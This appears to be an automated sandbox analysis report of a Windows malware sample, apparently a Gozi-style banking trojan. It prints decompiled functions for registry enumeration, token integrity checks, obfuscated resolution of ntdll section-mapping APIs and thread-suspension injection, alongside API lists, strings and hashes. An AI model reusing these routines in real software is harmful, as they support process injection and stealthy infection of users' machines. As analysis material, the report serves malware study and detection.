				intOrPtr _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E004716F8(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32);
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_t10 =  &_v12; // 0x47495c
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28, _t10, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E004770FF(_v28);
							goto L17;
						}
						_t24 =  &_a4; // 0x47495c
						_t42 = E004718C1(_t51, _v32, _v28, _v24, _v12,  &_v8,  *_t24); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E004770FF(_v24);
						_v20 = _v16;
						_t47 = E004716F8(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x47d26c, 0) == 0x102);
				goto L16;
			}

0x004727b1
0x004727cb
0x004727ce
0x004727d1
0x004727d4
0x004727d7
0x004727dd
0x004727e1
0x004728bb
0x004728bf
0x004728bf
0x004727ea
0x004727f1
0x004727f8
0x004727fb
0x004728b0
0x004728b3
0x00000000
0x004728b9
0x00472801
0x00472804
0x0047280b
0x0047280e
0x00472815
0x0047281e
0x00472824
0x0047282c
0x00472864
0x0047289e
0x004728a4
0x004728a6
0x004728a6
0x004728a8
0x004728ab
0x00000000
0x004728ab
0x00472866
0x00472879
0x0047287e
0x00472882
0x00000000
0x00000000
0x00000000
0x00472882
0x00472831
0x00472840
0x00000000
0x00000000
0x00472845
0x0047284e
0x00472851
0x00472858
0x0047285b
0x00472836
0x00472836
0x00000000
0x00472836
0x0047285f
0x00000000
0x0047285f
0x00472833
0x00000000
0x00472884
0x00472891
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,0047495C,?), ref: 004727D7

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

RegEnumKeyExA.KERNEL32(?,?,?,\IG,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,0047495C), ref: 0047281E
WaitForSingleObject.KERNEL32(00000000,00000001), ref: 0047288B
RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,0047495C,?,?,?,?,004787D8,?,00000001), ref: 004728B3

Strings

\IG, xrefs: 0047280E, 00472811
\IG, xrefs: 00472866

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCloseEnumHeapObjectOpenSingleWait
String ID: \IG$\IG
API String ID: 3664505660-946359426
Opcode ID: fc73355ac6d7451db2b13823211ff974981b9e9ce2709cfafce2c94e9bb480a7
Instruction ID: a9dfde16965399517679d3500f4e580701bd555d35a83b5d4651c6e817c9fb58
Opcode Fuzzy Hash: fc73355ac6d7451db2b13823211ff974981b9e9ce2709cfafce2c94e9bb480a7
Instruction Fuzzy Hash: E2313C71C00219ABCF21AF99CD459EFFBB9EF54314F11816BE518B2221C6B90E81DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004728C2, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004728C2(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				CHAR* _t11;
				intOrPtr _t12;
				long _t14;
				void* _t18;
				WCHAR* _t19;
				long _t20;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0x47d270; // 0x82c6b188
				_t1 =  &_a4; // 0x47497b
				_t32 =  *_t1;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x47d27c; // 0x374a7d0
				_t3 = _t8 + 0x47e862; // 0x61636f4c
				_t25 = 0; // executed
				_t11 = E0047781F(_t3, 1); // executed
				_t30 = _t11;
				if(_t30 != 0) {
					_t25 = CreateEventA(0x47d2a8, 1, 0, _t30);
					E004770FF(_t30);
				}
				_t12 =  *0x47d25c; // 0x10000106
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t14 = E0047731A(_t32, _t26); // executed
					_t31 = _t14;
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t18 = E004782EB(); // executed
					if(_t18 != 0) {
						goto L12;
					}
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t20 = E00476C7E(0,  *_t32, _t19, 0); // executed
					_t31 = _t20;
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x004728c3
0x004728ca
0x004728ca
0x004728d4
0x004728d8
0x004728de
0x004728ed
0x004728ef
0x004728f4
0x004728f8
0x0047290a
0x0047290c
0x0047290c
0x00472911
0x00472918
0x0047296d
0x0047296d
0x00472973
0x00472975
0x00472975
0x0047297a
0x0047297f
0x00472983
0x00472995
0x00472995
0x00472999
0x0047299f
0x0047299f
0x00000000
0x00472928
0x00472928
0x0047292f
0x00000000
0x00000000
0x00472936
0x0047293e
0x00472940
0x00472944
0x00472944
0x0047294c
0x00472951
0x00472955
0x00472959
0x004729ae
0x004729b4
0x004729b4
0x00472967
0x0047296b
0x004729a2
0x004729a4
0x004729a7
0x004729a7
0x00000000
0x004729a4
0x0047296b
0x00000000
0x00472955

APIs

Part of subcall function 0047781F: lstrlen.KERNEL32(004791A4,00000000,00000000,00000027,00000005,00000000,00000000,00477E27,74666F53,00000000,004791A4,0047D00C,?,004791A4), ref: 00477855
Part of subcall function 0047781F: lstrcpy.KERNEL32(00000000,00000000), ref: 00477879
Part of subcall function 0047781F: lstrcat.KERNEL32(00000000,00000000), ref: 00477881

CreateEventA.KERNEL32(0047D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,0047497B,?,00000001,?), ref: 00472903

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

StrChrW.SHLWAPI({IG,00000020), ref: 00472936
WaitForSingleObject.KERNEL32(00000000,00004E20), ref: 00472961
WaitForSingleObject.KERNEL32(00000000,00004E20), ref: 0047298F
CloseHandle.KERNEL32(00000000), ref: 004729A7

Strings

{IG, xrefs: 004728CA, 00472933, 00472947

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID: {IG
API String ID: 73268831-1860599516
Opcode ID: f07cff9678c5b7f42494808bb57d4b8a9d56e927133b824d46ca4581d4edff4b
Instruction ID: c406c91c1120129fd92f6147cd63000cd74b66bf39caa3efa8349f863b3e61bd
Opcode Fuzzy Hash: f07cff9678c5b7f42494808bb57d4b8a9d56e927133b824d46ca4581d4edff4b
Instruction Fuzzy Hash: 4221FCF2A007106BC7315B658D44ADB73A9AF88710F09852BFF5DE7211D6A8CC01869D

Uniqueness

Uniqueness Score: -1.00%

Function 0235461E, Relevance: 10.6, APIs: 7, Instructions: 80sleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0235B64B: memset.NTDLL ref: 0235B655

OpenEventA.KERNEL32(00000002,00000000,00000000,00000000,?,02356B70,?,00000000), ref: 023546AE
SetEvent.KERNEL32(00000000,?,02356B70,?,00000000), ref: 023546BB
Sleep.KERNEL32(00000BB8,?,02356B70,?,00000000), ref: 023546C6
ResetEvent.KERNEL32(00000000,?,02356B70,?,00000000), ref: 023546CD
CloseHandle.KERNEL32(00000000), ref: 023546D4
GetShellWindow.USER32 ref: 023546DF
GetWindowThreadProcessId.USER32(00000000), ref: 023546E6

Part of subcall function 02354A4F: RegCloseKey.ADVAPI32(?,?,004F0053), ref: 02354AD2

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Event$CloseWindow$HandleOpenProcessResetShellSleepThreadmemset
String ID:
API String ID: 53838381-0
Opcode ID: 34968839fc9e76581cf2f0f030813f96473e77791a591f33bc59cdd85aec6567
Instruction ID: a4087548fee63927518d47f794749617b658bc043f3277262f6e9a919efb6de9
Opcode Fuzzy Hash: 34968839fc9e76581cf2f0f030813f96473e77791a591f33bc59cdd85aec6567
Instruction Fuzzy Hash: 6F21DAB2985220BFC6246B66ED4CD6BBBAEEB85754F45C909FA0A43100CF35A461CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00474803, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00474803(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x47d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E004716F8(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E004770FF(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x00474810
0x00474817
0x0047481e
0x00474832
0x0047483d
0x00474855
0x00474862
0x00474865
0x0047486a
0x00474875
0x00474879
0x00474888
0x0047488c
0x004748a8
0x004748a8
0x004748ac
0x004748ac
0x004748b1
0x004748b5
0x004748bb
0x004748bc
0x004748c3
0x004748c9

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00474835
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00474855
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00474865
CloseHandle.KERNEL32(00000000), ref: 004748B5

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00474888
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00474890
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 004748A0

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 3a5b8e35df1aacacdda6ac7aa797fd8bd7c11e6856342be06f98a70b24a46bc0
Instruction ID: 55f28b803c4d2209d26f16e4bf2b421254816f771f0a037193eb22ec157ee84b
Opcode Fuzzy Hash: 3a5b8e35df1aacacdda6ac7aa797fd8bd7c11e6856342be06f98a70b24a46bc0
Instruction Fuzzy Hash: 71213E7590028CFFEB10AF94DC84DEEBBB9EF44304F1040A6E914A6261C7755E45DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00431EBB, Relevance: 10.6, APIs: 7, Instructions: 74
memorythreadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(void* __ecx, intOrPtr _a4, long _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x434108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x43410c;
						if( *0x43410c != 0) {
							_t36 = 0x2710;
							while(1) {
								SleepEx(0x64, 1); // executed
								__eflags =  *0x434118;
								if( *0x434118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x43410c);
						}
						HeapDestroy( *0x434110); // executed
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x434108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x434110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x434130 = _a4;
							asm("lock xadd [eax], ebx");
							_t23 = CreateThread(0, 0, E00431DB8, E004319F2(_a12, 0, 0x434118, _t41), 0,  &_a8); // executed
							 *0x43410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x00431ebe
0x00431eca
0x00431ecc
0x00431ecf
0x00431f49
0x00431f4f
0x00431f51
0x00431f53
0x00431f59
0x00431f5b
0x00431f60
0x00431f63
0x00431f6e
0x00431f70
0x00000000
0x00000000
0x00431f72
0x00431f75
0x00431f77
0x00000000
0x00000000
0x00000000
0x00431f77
0x00431f7f
0x00431f7f
0x00431f8b
0x00431f8b
0x00431ed1
0x00431ed2
0x00431ef2
0x00431ef8
0x00431efa
0x00431eff
0x00431f3f
0x00431f3f
0x00431f01
0x00431f09
0x00431f10
0x00431f29
0x00431f31
0x00431f36
0x00431f3b
0x00000000
0x00431f3b
0x00431f36
0x00431eff
0x00431ed2
0x00431f98

APIs

InterlockedIncrement.KERNEL32(00434108), ref: 00431EDD
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 00431EF2
CreateThread.KERNELBASE(00000000,00000000,00431DB8,00000000,00000000,?), ref: 00431F29
InterlockedDecrement.KERNEL32(00434108), ref: 00431F49
SleepEx.KERNELBASE(00000064,00000001), ref: 00431F63
CloseHandle.KERNEL32 ref: 00431F7F
HeapDestroy.KERNELBASE ref: 00431F8B

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: CreateHeapInterlocked$CloseDecrementDestroyHandleIncrementSleepThread
String ID:
API String ID: 3416589138-0
Opcode ID: 13da1479806f229c2930449d6c43dd70e49eca0a43d87e33fa4f9de0d58f5b38
Instruction ID: a056f352a91fd4b707c8301a4c8c060353f89794eefd702ff9c4becdf3f3064a
Opcode Fuzzy Hash: 13da1479806f229c2930449d6c43dd70e49eca0a43d87e33fa4f9de0d58f5b38
Instruction Fuzzy Hash: 7E21D831604604AFCB10AF69DC88EAE77B9FBA9765B20613AF415D2270D7789E40CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 02352AEF, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 68registryCOMMON

Download Yara Rule

APIs

Part of subcall function 02345545: lstrlen.KERNEL32(?,00000000,00000001,00000027,02367160,?,00000000,0235A401,Local\,00000001,?,00000000,?,0234213C), ref: 0234557B
Part of subcall function 02345545: lstrcpy.KERNEL32(00000000,00000000), ref: 0234559F
Part of subcall function 02345545: lstrcat.KERNEL32(00000000,00000000), ref: 023455A7

RegOpenKeyExA.KERNEL32(?,00000000,00000000,00020119,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B28
RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B3C
RegCloseKey.ADVAPI32(?,?,Client32,?,?,?,Software\AppDataLow\Software\Microsoft\,00000000), ref: 02352B85

Strings

Client32, xrefs: 02352B4A
Client64, xrefs: 02352B6E
Software\AppDataLow\Software\Microsoft\, xrefs: 02352AFD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Open$Closelstrcatlstrcpylstrlen
String ID: Client32$Client64$Software\AppDataLow\Software\Microsoft\
API String ID: 4131162436-710576342
Opcode ID: 709369012487ad3ed4387220a142886a781470050b1c3cd57141c5268c32796a
Instruction ID: 02279b28e08a862363f9117dcfb648f29c1463ac20806c5106670bcc84c9ca9f
Opcode Fuzzy Hash: 709369012487ad3ed4387220a142886a781470050b1c3cd57141c5268c32796a
Instruction Fuzzy Hash: 81116D7190062DBF9F10AEA1DD85CAFBBBDEA45758B1084B9FD09A2010D7709E059BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0047A727, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0047A768
ObjectStublessClient10.OLE32(?,?), ref: 0047A809
StrStrIW.SHLWAPI(?,006E0069), ref: 0047A829
SysFreeString.OLEAUT32(?), ref: 0047A84B

Part of subcall function 00471565: SysAllocString.OLEAUT32(0047C2A8), ref: 004715B5

SafeArrayDestroy.OLEAUT32(?), ref: 0047A89F
SysFreeString.OLEAUT32(?), ref: 0047A8AD

Part of subcall function 0047A1A2: Sleep.KERNEL32(000001F4), ref: 0047A1EA

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayClient10DestroyObjectSafeSleepStubless
String ID:
API String ID: 300449018-0
Opcode ID: 61ecc695ef3660ca180307b24b116d1ee9caad6c059f2aba897edd3ec9d045bc
Instruction ID: d0d89f05e7ecce28b7de4da91c2d7196d73859d4843b283d7bdd081d99f0099b
Opcode Fuzzy Hash: 61ecc695ef3660ca180307b24b116d1ee9caad6c059f2aba897edd3ec9d045bc
Instruction Fuzzy Hash: 9B515032900249EFDB00EFE8C8848DEB7B6FFC8344B158869E509EB220D7359D56CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0235E590, Relevance: 9.1, APIs: 6, Instructions: 125threadsynchronizationinjectionCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0235E5B3

Part of subcall function 02355944: GetModuleHandleA.KERNEL32(4E52454B,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 02355965
Part of subcall function 02355944: GetProcAddress.KERNEL32(00000000,6F577349,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235597E
Part of subcall function 02355944: OpenProcess.KERNEL32(00000400,00000000,0235E5D3,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 0235599B
Part of subcall function 02355944: IsWow64Process.KERNELBASE(00000000,00000000,0236710C,?,?,?,0235E5D3,00000000,0236710C,?,00000000), ref: 023559AC
Part of subcall function 02355944: CloseHandle.KERNEL32(00000000), ref: 023559BF

ResumeThread.KERNEL32(?,?,?,CCCCFEEB,?,?,?,00000004,?,00000000,0236710C,?,00000000), ref: 0235E66D
WaitForSingleObject.KERNEL32(00000064), ref: 0235E67B
SuspendThread.KERNEL32(?), ref: 0235E68E

Part of subcall function 02347260: memset.NTDLL ref: 02347522

ResumeThread.KERNEL32(?), ref: 0235E711

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Thread$HandleProcessResumememset$AddressCloseModuleObjectOpenProcSingleSuspendWaitWow64
String ID:
API String ID: 223543837-0
Opcode ID: 2727d1740ef8a09015639be8f3ba7dfed0d463e93ada9f7a668753cb826a7de7
Instruction ID: 58d25d0baeacf054933a4277c1644e8daa68e813cb17ffb271ad6850277b5751
Opcode Fuzzy Hash: 2727d1740ef8a09015639be8f3ba7dfed0d463e93ada9f7a668753cb826a7de7
Instruction Fuzzy Hash: F7418C72900218AFDB219F94CD88EAEBBFEEB04354F1448A5FD19A6150DB31DA64CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00471B9F, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A245: CoCreateInstance.OLE32(9BA05972,00000000,00000004,03BC8C20,00000000), ref: 0047A278
Part of subcall function 0047A245: ObjectStublessClient10.OLE32(00000000,?,?,00000008,?,00000001,00000000,?,?,?,?,?,?,?,00471BCF,00000000), ref: 0047A29F
Part of subcall function 0047A245: IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,03BC8C00,00471BCF), ref: 0047A311

SysAllocString.OLEAUT32(00000000), ref: 00471BFB
SysAllocString.OLEAUT32(0070006F), ref: 00471C0F
SysAllocString.OLEAUT32(00000000), ref: 00471C21
SysFreeString.OLEAUT32(00000000), ref: 00471C85
SysFreeString.OLEAUT32(00000000), ref: 00471C94
SysFreeString.OLEAUT32(00000000), ref: 00471C9F

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$Client10CreateInstanceObjectQueryServiceStublessUnknown_
String ID:
API String ID: 1543173762-0
Opcode ID: ccc6cdf2c61a09c9f630bc446ffc021c0bcc50e596817cbf1d46fe80e7486dff
Instruction ID: 2bcc04edf20316aadd9b0fced079eb79fec711fd04b563f43f02ee6dc3b1eb9a
Opcode Fuzzy Hash: ccc6cdf2c61a09c9f630bc446ffc021c0bcc50e596817cbf1d46fe80e7486dff
Instruction Fuzzy Hash: E6313D32900609AFDB02DFFCC844ADFB7B9AF49310F14846AE915EB220DA759D45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02357A61, Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?,?,00000000,02363618,00000018,0234D2BD,00000000,?,?,?,?,00000000), ref: 02357AA4
VirtualProtect.KERNELBASE(00000000,00000004,00000000,00000000,00000000,00000004,00000000,?,00000000,?,?,?,00000000,02363618,00000018,0234D2BD), ref: 02357B2F
RtlEnterCriticalSection.NTDLL(02367380), ref: 02357B57
RtlLeaveCriticalSection.NTDLL(02367380), ref: 02357B75

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeaveProtectVirtual
String ID:
API String ID: 3666628472-0
Opcode ID: 2f403806ef52649383d8224b74b9d7a230c2e6f9ed0e24cefc527b1d434c339a
Instruction ID: 99552483019b4c5bf49f44872e0a50b1d9735d8ee48e0f2937786ec5071fbc2f
Opcode Fuzzy Hash: 2f403806ef52649383d8224b74b9d7a230c2e6f9ed0e24cefc527b1d434c339a
Instruction Fuzzy Hash: 1B414CB0940629EFCB11DF65C988EAEFBF9FF08710B108559ED1997250D774AA50CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0047835C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0047835C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E004716F8(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x47d27c; // 0x374a7d0
					_t1 = _t23 + 0x47e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x47d27c; // 0x374a7d0
					_t2 = _t26 + 0x47e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E004770FF(_t54);
					} else {
						_t30 =  *0x47d27c; // 0x374a7d0
						_t5 = _t30 + 0x47e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x47d27c; // 0x374a7d0
							_t7 = _t33 + 0x47e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x47d27c; // 0x374a7d0
								_t9 = _t36 + 0x47e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x47d27c; // 0x374a7d0
									_t11 = _t39 + 0x47e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00471371(_t54, _a8); // executed
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0047836b
0x0047836f
0x00478431
0x00478375
0x00478375
0x0047837a
0x0047838d
0x0047838f
0x00478394
0x0047839c
0x004783a3
0x004783a7
0x004783aa
0x00478429
0x0047842a
0x004783ac
0x004783ac
0x004783b1
0x004783b9
0x004783bd
0x004783c0
0x00000000
0x004783c2
0x004783c2
0x004783c7
0x004783cf
0x004783d3
0x004783d6
0x00000000
0x004783d8
0x004783d8
0x004783dd
0x004783e5
0x004783e9
0x004783ec
0x00000000
0x004783ee
0x004783ee
0x004783f3
0x004783fb
0x004783ff
0x00478402
0x00000000
0x00478404
0x0047840a
0x0047840f
0x00478416
0x0047841d
0x00478420
0x00000000
0x00478422
0x00478425
0x00478425
0x00478420
0x00478402
0x004783ec
0x004783d6
0x004783c0
0x004783aa
0x0047843f

APIs

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,?,00000000,?,?,?,00477336,?,00000001,?,?,00000000,00000000), ref: 00478381
GetProcAddress.KERNEL32(00000000,7243775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783A3
GetProcAddress.KERNEL32(00000000,614D775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783B9
GetProcAddress.KERNEL32(00000000,6E55775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783CF
GetProcAddress.KERNEL32(00000000,4E6C7452,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783E5
